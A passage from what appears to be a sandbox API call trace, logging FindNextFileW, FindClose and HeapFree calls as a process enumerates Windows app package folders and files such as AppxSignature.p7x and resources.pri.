hHeap=0x490000) returned 1 [0087.300] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd528e480, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd528e480, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd528e480, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.301] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.301] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab022fb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0087.301] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0087.301] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.301] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab088494, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIECF5~1.0_X")) returned 1 [0087.301] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.301] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.303] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd53994f2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd53994f2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0087.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.303] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.303] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.303] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0087.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.303] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab08dbee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0087.304] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.304] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xcc36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Package.StoreAssociation.xml", cAlternateFileName="")) returned 1 [0087.304] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.304] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.304] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.304] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.304] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0087.304] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.304] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1 [0087.304] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.304] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0087.304] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0087.304] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.304] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d296410, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIEB19~1.SCA")) returned 1 [0087.306] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.306] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0087.308] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.308] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 0 [0087.308] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0087.308] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.308] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9355ef2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0087.308] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.308] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37b231, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d37b231, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0087.309] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.311] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c531351, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIE745~1.0_X")) returned 1 [0087.312] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.312] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c5575af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.315] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.315] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d080313, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab39d704, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d18b39b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0087.317] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.317] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d18b39b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab446b84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileIcons", cAlternateFileName="FILEIC~1")) returned 1 [0087.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.319] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d18b39b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab446b84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileIcons", cAlternateFileName="FILEIC~1")) returned 0 [0087.319] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0087.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.319] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfe80d855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe80d855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0087.320] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.320] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1d7849, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d1d7849, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0087.320] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.320] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_N")) returned 1 [0087.320] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.320] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c50b0ee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c50b0ee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c50b0ee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.320] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.320] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0087.320] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0087.320] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.320] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe", cAlternateFileName="MIAA8F~1.SCA")) returned 1 [0087.322] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.322] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad8fd68, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0087.322] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.322] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fed1b77, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0087.322] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.322] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.0_N")) returned 1 [0087.323] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.323] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee96925, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7eebcb7e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7eebcb7e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.323] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.323] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad4389d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0087.323] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0087.323] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.323] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI79E2~1.0_X")) returned 1 [0087.323] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.323] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ef09035, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ef09035, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.545] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.545] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f8f31a9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f8f31a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0087.546] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.546] FindNextFileW (in: hFindFile=0x582c08, 